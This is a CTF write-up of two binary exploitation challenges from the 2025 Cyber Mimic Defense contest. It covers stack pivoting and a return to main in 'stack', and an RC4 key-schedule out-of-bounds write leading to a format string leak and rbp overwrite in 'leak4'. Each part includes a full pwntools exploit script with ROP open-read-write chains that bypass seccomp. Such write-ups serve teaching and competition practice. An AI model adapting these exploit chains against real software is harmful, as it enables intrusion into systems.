Post

[Writeup] 2025 Qiangwang Challenge on Cyber Mimic Defense

Writeup for Mimic CTF 2025

[Writeup] 2025 Qiangwang Challenge on Cyber Mimic Defense

Preface

Hello, this is my first writeup about pwnable. My team(BKISC) and I participated in Cyber Mimic Defense 2025 in November. Here’s the writeups about 2 stack pivot challenges that I solved during the competition.


[Quals] stack


Analysis

Source: pwn / libc / ld

The main function looks like this:

1
2
3
4
5
6
7
8
9
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  sub_401236(a1, a2, a3);
  puts("Welcome");
  sub_401354();
  sub_4013B9();
  sub_4013ED();
  return 0;
}

The function sub_401236() sets up I/O and seccomp ban execve and execveat via prctl().

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
int sub_401236()
{
  int result; // eax

  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stderr, 0, 2, 0);
  if ( prctl(38, 1, 0, 0, 0) < 0 )
  {
    perror("prctl(PR_SET_NO_NEW_PRIVS)");
    exit(1);
  }
  result = prctl(22, 2, &unk_404060);
  if ( result < 0 )
  {
    perror("prctl(PR_SET_SECCOMP)");
    exit(1);
  }
  return result;
}

Dump of seccomp-tools:

1
2
3
4
5
6
7
8
9
10
11
 seccomp-tools dump ./pwn
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000000  A = sys_number
 0001: 0x15 0x00 0x01 0x00000002  if (A != open) goto 0003
 0002: 0x06 0x00 0x00 0x00000000  return KILL
 0003: 0x15 0x00 0x01 0x0000003b  if (A != execve) goto 0005
 0004: 0x06 0x00 0x00 0x00000000  return KILL
 0005: 0x15 0x00 0x01 0x00000142  if (A != execveat) goto 0007
 0006: 0x06 0x00 0x00 0x00000000  return KILL
 0007: 0x06 0x00 0x00 0x7fff0000  return ALLOW

A mmap func sub_401317() but doesn’t call anywhere:

1
2
3
4
5
6
int sub_401317()
{
  puts("You are so lucky!");
  puts("Here is your gift:");
  return mprotect(0, 0x1000u, 1);
}

First, there’s a small overflow in sub_401354(), we can use it to leak stack

1
2
3
4
5
6
7
8
9
int sub_401354()
{
  char s[16]; // [rsp+0h] [rbp-10h] BYREF

  memset(s, 0, sizeof(s));
  puts("Could you tell me your name?");
  read(0, s, 24u);
  return printf("Hello, %s!\n", s);
}

A bigger overflow in sub_4013B9()

1
2
3
4
5
6
7
ssize_t sub_4013B9()
{
  _BYTE buf[96]; // [rsp+0h] [rbp-60h] BYREF

  puts("Any thing else?");
  return read(0, buf, 0x200u);
}

Exit function sub_4013ED():

1
2
3
4
5
signed __int64 sub_4013ED()
{
  puts("Goodbye!");
  return sys_exit(0);
}

Exploitation

I usually checksec the binary before starting the exploit to have an overview of the protections. Even though checksec reports SHSTK/IBT enabled, in this challenge they don’t seem to be actually enforced (no CET signal when doing plain ROP).

1
2
3
4
5
6
7
8
9
 checksec ./pwn
[*] '/mnt/d/ctf/mimic/2025/stack/pwn'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    SHSTK:      Enabled
    IBT:        Enabled

I first leak stack through sub_401354() and it also save rbp of main. Then in sub_4013B9() I keep rbp to the stack I leaked, overwrite return address to sub_401354()+5 as well as overwrite __libc_start_call_main+128 to __libc_start_call_main+102. The idea is to reuse main’s caller frame: by setting the saved rbp to main’s frame and jumping into sub_401354()+5, the value that originally was the return address of main (__libc_start_call_main+128) becomes the return address of sub_401354().

With 0x18 bytes of padding, we fully overwrite the buffer and reach the slot that holds the return address of main (now is __libc_start_call_main+102). After that, when sub_401354() returns, it will jump to __libc_start_call_main+102, which eventually calls main() again.

1
2
3
4
5
6
7
8
9
10
.text:0000000000401354 ; int sub_401354()
.text:0000000000401354 sub_401354      proc near               ; CODE XREF: main+26p
.text:0000000000401354
.text:0000000000401354 s               = byte ptr -10h
.text:0000000000401354
.text:0000000000401354 ; __unwind {
.text:0000000000401354                 endbr64
.text:0000000000401358                 push    rbp
.text:0000000000401359                 mov     rbp, rsp
.text:000000000040135C                 sub     rsp, 10h

Stack layout in sub_4013B9():

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
                            pwndbg> tel rsi 50
                            00:0000│ rax rsi rsp 0x7fffb69d8ef0 —▸ 0x40205a ◂— 'Could you tell me your name?'
                            01:0008│-058         0x7fffb69d8ef8 —▸ 0x7ed6bf0f6faa (puts+346) ◂— cmp eax, -1
                            02:0010│-050         0x7fffb69d8f00 ◂— 7
                            03:0018│-048         0x7fffb69d8f08 —▸ 0x7ed6bf291780 (_IO_2_1_stdout_) ◂— 0xfbad2887
                            04:0020│-040         0x7fffb69d8f10 ◂— 0
                            05:0028│-038         0x7fffb69d8f18 —▸ 0x7fffb69d8f50 —▸ 0x7fffb69d8f60 ◂— 1
                            06:0030│-030         0x7fffb69d8f20 —▸ 0x7fffb69d9078 —▸ 0x7fffb69dade1 ◂— '/mnt/d/ctf/mimic/2025/stack/pwn_patched'
                            07:0038│-028         0x7fffb69d8f28 —▸ 0x401413 ◂— endbr64
                            08:0040│-020         0x7fffb69d8f30 —▸ 0x403d98 —▸ 0x401200 ◂— endbr64
                            09:0048│-018         0x7fffb69d8f38 —▸ 0x4013b6 ◂— nop
                            0a:0050│-010         0x7fffb69d8f40 ◂— 0x4141414141414141 ('AAAAAAAA')
                            0b:0058│-008         0x7fffb69d8f48 ◂— 0x4141414141414141 ('AAAAAAAA')
=> stack leaked             0c:0060│ rbp         0x7fffb69d8f50 —▸ 0x7fffb69d8f60 ◂— 1
=> ret to sub_401354()+5    0d:0068│+008         0x7fffb69d8f58 —▸ 0x401448 ◂— mov eax, 0
                            0e:0070│+010         0x7fffb69d8f60 ◂— 1
=> change to +102           0f:0078│+018         0x7fffb69d8f68 —▸ 0x7ed6bf09fd90 (__libc_start_call_main+128) ◂— mov edi, eax

Call main inside libc_start_main

After returning to main I build a second-stage ROP chain on the stack. Since the Dockerfile is not provided, we don’t know the exact flag path at compile time. I therefore use getdents64 to list directory entries at runtime, leak the flag filename, and then perform a standard open-read-write (ORW) chain.

Flow: sub_401354() => leak stack => sub_4013B9() => sub_401354() => leak libc => __libc_start_call_main => main() => leak flag path => orw

Result of getdents64 at /:

1
2
3
4
5
6
7
8
9
\xdb\x05\xa5B\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x18\x00\x04.
\x00\x00\x00\x00\xbcBC\x04\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x18\x00\x04..
\x00\x00\x00\xdc\x05\xa5B\x00\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00 \x00\x08.
bash_logout\x00\xdd\x05\xa5B\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x08.
bashrc\x00\x00\x00\x00\x00\x00\xde\x05\xa5B\x00\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00 \x00\x08.
profile\x00\x00\x00\x00\x00\xde\x08\xa5B\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x18\x00\x08vuln\x00\xdf\x05\xa5B\x00\x00\
x00\x00\x07\x00\x00\x00\x00\x00\x00\x00\x18\x00\x08flag\x00\x84\x16\x90\x87\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x18\x0
0\x04bin\x00\x00dӾ\xc3\x00\x00\x00\x00   
\x00\x00\x00\x00\x00\x00\x00\x18\x00\x04dev\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
Click to view solve.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
#!/usr/bin/env python3
from pwn import *

exe = ELF("./pwn_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-linux-x86-64.so.2")

HOST="pwn-42c1acba80.challenge.xctf.org.cn"
PORT=9999

context.binary = exe
context.log_level = 'debug'

gdbscript="""
b*0x0000000000401338
b*0x00000000004013B1
b*0x4013eb
"""

def run():
    if args.LOCAL:
        p = process([exe.path])
        gdb.attach(p, api=True, gdbscript=gdbscript)
    else:
        p = remote(HOST, PORT, ssl=True)

    return p

p = run()
info = lambda msg: log.info(msg)
success = lambda msg: log.success(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sna = lambda msg, data: p.sendlineafter(msg, str(data).encode())
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
sn = lambda data: p.sendline(str(data).encode())
s = lambda data: p.send(data)
ru = lambda msg: p.recvuntil(msg)
rl = lambda: p.recvline().strip()
rn = lambda n: p.recvn(n)

rbp = 0x000000000040121d
main = 0x0000000000401413
sa(b"name?\n", b"A"*16)
ru(b"A"*16)
stack = u64(p.recvn(6).ljust(8, b"\x00"))
success("stack " + hex(stack))
sa(b"else?\n", b"B"*96 + p64(stack) + p64(0x401359) + p64(0) + b'\x76')

sa(b"name?\n", b"A"*24)
ru(b"A"*24)
libc.address = u64(p.recv(6).ljust(8, b'\x00')) - 171382
success(f'libc base: {hex(libc.address)}')
rop = ROP(libc)
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
pop_rsi = rop.find_gadget(['pop rsi', 'ret'])[0]
pop_rdx_rbx = libc.address + 0x00000000000904a9
pop_rax = rop.find_gadget(['pop rax', 'ret'])[0]
ret = pop_rdi + 1

openat = libc.symbols['openat']
getdents64 = libc.symbols['getdents64'] 
write = libc.symbols['write']
read_plt = exe.plt['read']
sendfile = libc.symbols['sendfile']

bss = 0x404100
path = bss
buff = bss + 0x100
buf_sz = 0x100
AT_FDCWD = -100 
O_DIRECTORY = 0x10000
O_RDONLY = 0

# listfile = flat(
#     pop_rdi, 0,
#     pop_rsi, path,
#     pop_rdx_rbx, 0x100, 0,
#     read_plt,

#     # 2) fd = openat(AT_FDCWD, PATH, O_DIRECTORY, 0)
#     pop_rdi, AT_FDCWD,
#     pop_rsi, path,
#     pop_rdx_rbx, O_DIRECTORY, 0,
#     openat,

#     # 3) getdents64(fd=3, BUF, BUFSZ)
#     pop_rdi, 3,
#     pop_rsi, buff,
#     pop_rdx_rbx, buf_sz, 0,
#     getdents64,

#     # 4) write(1, BUF, BUFSZ)
#     pop_rdi, 1,
#     pop_rsi, buff,
#     pop_rdx_rbx, buf_sz, 0,
#     write,
# )

# sa(b"name?\n", b"A"*16)
# payload = b"B"*96 + b"C"*8 + listfile
# sa(b"else?\n", payload)

# pause()
# s(b"/\x00")

orw = flat(
    pop_rdi, 0,
    pop_rsi, path,
    pop_rdx_rbx, 0x100, 0,
    read_plt,

    # 2)
    pop_rdi, AT_FDCWD,
    pop_rsi, path,
    pop_rdx_rbx, 0, 0,
    openat,

    # 3) 
    pop_rdi, 3,
    pop_rsi, buff,
    pop_rdx_rbx, buf_sz, 0,
    read_plt,

    # 4) write(1, BUF, BUFSZ) 
    pop_rdi, 1,
    pop_rsi, buff,
    pop_rdx_rbx, buf_sz, 0,
    write,
)

sa(b"name?\n", b"A"*16)
payload = b"B"*96 + b"C"*8 + orw
sa(b"else?\n", payload)

pause()
s(b"./flag\x00")
p.interactive()

Flag: flag{OerBsSljF3pcjeKMrR2j1Bh8evAMeYZK}


[Finals] leak4

Analysis

Source: pwn / libc / ld

Init fun setup I/O and disable execve/execveat:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
void __cdecl init()
{
  setvbuf(stdin, 0, 2, 0);
  setvbuf(_bss_start, 0, 2, 0);
  disable_execve();
  alarm(0x3Cu);
}

void __cdecl disable_execve()
{
  scmp_filter_ctx ctx; // [rsp+8h] [rbp-8h]

  ctx = (scmp_filter_ctx)seccomp_init(2147418112);
  seccomp_rule_add(ctx, 0, 59, 0);
  seccomp_rule_add(ctx, 0, 322, 0);
  if ( (int)seccomp_load(ctx) < 0 )
  {
    perror("seccomp_load");
    seccomp_release(ctx);
    exit(1);
  }
  seccomp_release(ctx);
}
1
2
3
4
5
6
7
8
9
10
11
12
seccomp-tools dump ./chal
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x06 0xc000003e  if (A != ARCH_X86_64) goto 0008
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x03 0xffffffff  if (A != 0xffffffff) goto 0008
 0005: 0x15 0x02 0x00 0x0000003b  if (A == execve) goto 0008
 0006: 0x15 0x01 0x00 0x00000142  if (A == execveat) goto 0008
 0007: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0008: 0x06 0x00 0x00 0x00000000  return KILL

The program follows a standard RC4 encryption routine structure:

  • main(): Allocates a struct protect1 on the heap, reads a Key, initializes the RC4 state array S with value 0-127, schedules the key, reads Data, and encrypts it.
    1
    2
    3
    4
    5
    
    00000000 struct protect1 // sizeof=0x100
    00000000 {
    00000000     char input[128];
    00000080     char data[128];
    00000100 };
    
  • key_schedule(): The KSA (Key Scheduling Algorithm) phase of RC4. It permutes the state array S based on the user-provided key.

  • rc4_crypt(): The PRGA (Pseudo-Random Generation Algorithm) phase. It generates the keystream and XORs it with the data.

In key_schedule(), there’s a OOB bug when computing idx j:

1
j = (buf[i_1] + j + input2[i_1]) % 128;

Both buf and input2 are signed char which range is typically -128 to 127. The % operator keeps the sign of the dividend so j can be negative. Because j is bounded by [-127, 127], the out-of-bounds region is limited to a window of up to 127 bytes below S[0], but this is still enough to corrupt important stack values. And after debugging, I found that at offset -40 we can overwrite the return address of key_schedule() or overwrite rbp with offset -48.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
void __cdecl key_schedule(char *input, char *input2, size_t inputlen)
{
  char tmp; // [rsp+2Fh] [rbp-A1h]
  int j; // [rsp+30h] [rbp-A0h]
  int i_0; // [rsp+34h] [rbp-9Ch]
  int i_1; // [rsp+38h] [rbp-98h]
  char buf[136]; // [rsp+40h] [rbp-90h] BYREF
  unsigned __int64 v8; // [rsp+C8h] [rbp-8h]

  v8 = __readfsqword(0x28u);
  j = 0;
  memset(buf, 0, 128);
  for ( i_0 = 0; i_0 <= 127; ++i_0 )
    buf[i_0] = input[i_0 % inputlen];
  for ( i_1 = 0; i_1 <= 127; ++i_1 )
  {
    j = (buf[i_1] + j + input2[i_1]) % 128;
    tmp = input2[i_1];
    input2[i_1] = input2[j];
    input2[j] = tmp;
  }
}

Exploitation

Checksec results:

1
2
3
4
5
6
7
8
9
10
11
12
checksec
File:     /mnt/d/ctf/mimic/2025/final/leak4/chal_patched
Arch:     amd64
RELRO:      Full RELRO
Stack:      Canary found
NX:         NX enabled
PIE:        PIE enabled
RUNPATH:    b'.'
SHSTK:      Enabled
IBT:        Enabled
Stripped:   No
Debuginfo:  Yes

Again, I think they don’t actually enforce SHSTK/IBT in this challenge.

I also noticed that when key_schedule() return, the register rdi still holds our first argument, which is the pointer to our input buffer(p->input). By overwriting the return address of key_schedule() to point to the printf("Enter the key->") call inside main (e.g. main+0x3b), we effectively call printf with our input buffer as the format string. That turns this into a format string vulnerability, which can be used to leak stack and libc addresses.

Note that the key_schedule-based OOB write is mathematically limited. The RC4 state S is initialized as S[i] = i for 0 ≤ i < 128 and only permuted by swaps; it never stores values outside 0..127. Since our out-of-bounds writes are always input2[j] = tmp where tmp is one element of S, the bytes we can write outside the array are also restricted to the range 0x00..0x7f. Moreover, the index j is computed as (buf[i] + j + S[i]) % 128 using signed char and signed %, so j is always in [-127, 127]. This means we can only corrupt a small window of stack memory around S, and at each location we can only place a value from 0..127. As a result, we need a bit brute-force to find the right input key to overwrite the target addresses.

After that, we can overwrite the lower two bytes of rbp (with some bruteforce) to change where p is stored. My first idea was to tweak p so that we could overwrite the return address of rc4_crypt() and jump directly into a ROP chain. However, in practice it was quite hard to control both the value and the key cleanly, so I took a step back and looked for a nicer target. That’s when I noticed an interesting pointer in stack. Let’s look at leave; ret of key_schedule():

1
2
3
4
target ptr: 0x7fff64cc3e00 —▸ 0x7fff64cc3e10
RBP  0x7fff64cc3ec0 —▸ overwrited by us
0x644da6b6d5c0 <key_schedule+513>    leave
0x644da6b6d5c1 <key_schedule+514>    ret    

From the stack layout of main, we know:

1
2
3
4
5
6
7
8
9
10
11
12
13
-0000000000000130
-0000000000000130     int i;
-000000000000012C     int i_0;
-0000000000000128     protect1 *p;
-0000000000000120     size_t len;
-0000000000000118     size_t datalen;
-0000000000000110     char S[128];
-0000000000000090     char S_backup[136];
-0000000000000008     _QWORD var_8;
+0000000000000000     _QWORD __saved_registers;
+0000000000000008     _UNKNOWN *__return_address;
+0000000000000010
+0000000000000010 // end of stack variables

The variable p lives at [rbp - 0x128] so the rbp must be 0x7fff64cc3e00+0x128=0x7fff64cc3f28. After that, the p* now is 0x7fff64cc3e10.

Because struct protect1 is:

1
2
3
4
5
00000000 struct protect1 // sizeof=0x100
00000000 {
00000000     char input[128];
00000080     char data[128];
00000100 };

the field p->data is at p + 0x80, so the next read into p->data will write to:

p->data = 0x7fff64cc3e10 + 0x80 = 0x7fff64cc3e90

Now look at what happens when key_schedule() returns. The epilogue is the usual leave; ret:

1
2
3
4
5
mov rsp, rbp    ; rsp = 0x7fff64cc3ec0
pop rbp         ; rbp = 0x7fff64cc3f28
                ; rsp = 0x7fff64cc3ec8
pop rip         ; rip = [rsp] = 0x644da6b6d7e4 (main+216)
                ; rsp = 0x7fff64cc3ed0

So after returning to main, the stack pointer is at rsp = 0x7fff64cc3ed0. When main later calls read, the CPU executes call read@plt which pushes the return address at [rsp - 8]. That means the return address of read() is stored at: 0x7fff64cc3ec8

At the same time, our buf argument to read is p->data = 0x7fff64cc3e90:

1
2
3
4
 0x644da6b6d848 <main+316>    call   read@plt                    <read@plt>
        fd: 0 (pipe:[1032699])
        buf: 0x7fff64cc3e90 ◂— 0x191a1b1c1d1e1f20
        nbytes: 0x80

You can easily find that there’s a buffer overflow inside read(). With 0x38 bytes of padding, we can overwrite the return address of read() to our ROP chain. Because there’s a seccomp that blocks execve/execveat, we have to ORW(open-read-write) flag. I’ll put the string /flag at the start of the overflow buffer and then use the first ROP chain to read a larger second-stage ROP payload into memory (since the overflowed stack space is quite small). The second stage then opens /flag, reads, and writes to stdout.

Click to view solve.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
#!/usr/bin/env python3
from pwn import *

exe = ELF("./chal_patched")
libc = ELF("./libc.so.6", checksec=False)

HOST="172.31.14.13"
PORT=9999

context.binary = exe
context.log_level = 'debug'

gdbscript = '''
# b*$rebase(0x000000000000152E)
b*$rebase(0x00000000000015C0)
b*$rebase(0x0000000000001848)
b*$rebase(0x000000000000170B)
'''

def run():
    if args.LOCAL:
        p = process([exe.path])
        gdb.attach(p, api=True, gdbscript=gdbscript)
    else:
        p = remote(HOST, PORT)

    return p

p = run()
info = lambda msg: log.info(msg)
success = lambda msg: log.success(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sna = lambda msg, data: p.sendlineafter(msg, str(data).encode())
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
sn = lambda data: p.sendline(str(data).encode())
s = lambda data: p.send(data)
ru = lambda msg: p.recvuntil(msg)
rl = lambda: p.recvline().strip()
rn = lambda n: p.recvn(n)

def gen(target_idx, desired_byte, fmt_string="%45$p"):
    key = bytearray(128)
    S = list(range(128))
    j = 0
    fmt_bytes = fmt_string.encode()
    fmt_len = len(fmt_bytes)
    for i in range(fmt_len):
        key[i] = fmt_bytes[i]
        j = (S[i] + j + key[i]) % 128
        S[i], S[j] = S[j], S[i]
    fix_idx = fmt_len
    needed_k = (-S[fix_idx] - j) % 128
    key[fix_idx] = needed_k
    j = (S[fix_idx] + j + key[fix_idx]) % 128
    S[fix_idx], S[j] = S[j], S[fix_idx]
    trigger = desired_byte
    for i in range(fix_idx + 1, trigger):
        key[i] = (128 - S[i]) % 128
        S[i], S[0] = S[0], S[i]
    key[trigger] = (target_idx - S[trigger]) & 0xff
    next_i = trigger + 1
    if next_i < 128:
        key[next_i] = (-S[next_i] - target_idx) % 128
        for i in range(next_i + 1, 128):
            key[i] = (128 - S[i]) % 128
    return bytes(key)


def gen_auto(targets):
    targets = sorted(targets, key=lambda x: x[1])
    for k in range(len(targets) - 1):
        if targets[k+1][1] <= targets[k][1] + 1:
             raise ValueError(f"Conflict: Byte {hex(targets[k][1])} and {hex(targets[k+1][1])} are too close (gap < 2).")

    key = bytearray(128)
    S = list(range(128))
    j = 0
    last_i = -1 
    
    for target_idx, trigger_byte in targets:
        for i in range(last_i + 1, trigger_byte):
            key[i] = (128 - S[i]) % 128
            S[i], S[0] = S[0], S[i]
        key[trigger_byte] = (target_idx - S[trigger_byte]) & 0xff
        j = target_idx
        if 0 <= j < 128:
            S[trigger_byte], S[j] = S[j], S[trigger_byte]
        reset_idx = trigger_byte + 1
        if reset_idx < 128:
            key[reset_idx] = (-S[reset_idx] - target_idx) % 128
            j = 0
            S[reset_idx], S[0] = S[0], S[reset_idx]
            last_i = reset_idx
        else:
            last_i = 128

    if last_i < 127:
        for i in range(last_i + 1, 128):
            key[i] = (128 - S[i]) % 128
            S[i], S[0] = S[0], S[i]

    return bytes(key)

p.sendafter(b'Enter the key->', gen(-40, 0x47, "\n%45$p"))

p.recvline()
leak = int(p.recvn(14), 16)
libc.address = leak - libc.symbols['__libc_start_main'] - 243

payload2 = gen(-40, 0x47, "\n%35$p")
pause()
p.send(payload2)
p.recvline()
stack = int(p.recvn(14), 16)
log.info(f"libc: {hex(libc.address)}")
log.info(f"stack: {hex(stack)}")
target = stack - 0x1e7 + 0x128
log.info(f"target: {hex(target-0x128)}")
log.info(f"target+0x128: {hex(target)}")
log.info(f"ret_rc4: {hex(target-0x11f)}")
log.info(f"b1: {hex(target&0xff)}, b2: {hex((target>>8)&0xff)}")

my_targets = [
    (-47, (target & 0xff00) >> 8),
    (-48, target & 0x00ff)
]

pop_rdi = libc.address + 0x0000000000023b6a
pop_rsi = libc.address + 0x000000000002601f
pop_rdx_r12 = libc.address + 0x0000000000119431
pop_rcx_rbx = libc.address + 0x000000000010257e
open = libc.symbols['open']
sendfile = libc.symbols['sendfile']
read = libc.symbols['read']
write = libc.symbols['write']

payload3 = gen_auto(my_targets)
pause()
p.send(payload3)
path = stack - 0x157

abc = flat(
    pop_rdi, path,
    pop_rsi, 0,
    pop_rdx_r12, 0, 0,
    open,
    pop_rdi,      3,
    pop_rsi,      stack,
    pop_rdx_r12,  0x50, 0,
    read,

    pop_rdi,      1,
    pop_rsi,      stack,
    pop_rdx_r12,  0x50, 0,
    write
)
read_more = flat(
    pop_rdi, 0,
    pop_rsi, path+0x78,
    pop_rdx_r12, 0x100, 0,
    read
)
payload4 = b"/flag\x00".ljust(0x38, b'\x00') + read_more
p.sendafter(b'data->', payload4)
pause()
p.send(abc)
p.interactive()

Flag: flag{6WTv7A0crLU5r8r2UneKtxI5eLkQxRE1}

This post is licensed under CC BY 4.0 by the author.